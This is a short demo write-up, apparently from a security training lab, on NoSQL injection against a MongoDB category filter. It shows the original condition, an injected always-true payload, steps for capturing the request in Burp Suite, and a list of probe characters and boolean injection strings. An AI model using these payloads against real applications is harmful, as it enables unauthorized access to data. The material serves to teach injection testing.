MongoDB Injection Attack
 This is demo exploit for MongoDB filter option. Filter Accessories : Business Logic: if(this.category == ""Accessories") { / ...do something } Exploitation: if(this.category == 'Accessories' && this.limit == 3)  // Original if( this.category ==  'Accessories ' || '1' == '1 '  && this.limit == 3 )  // Payload Injected { / ...do something } Capture the request in the burp suite. Try with combination of symbolic to make error the request. "   '   $   {   }  `   ; Try with combination of Boolean expression  ' && 1 == 1 ' && '1' == '1 ' || 1 == 1 ' || '1' == '1 ' || 1 || ' || 1 || ' ' || '1' == '1 Note:  Make sure apply with encode is CTRL + U.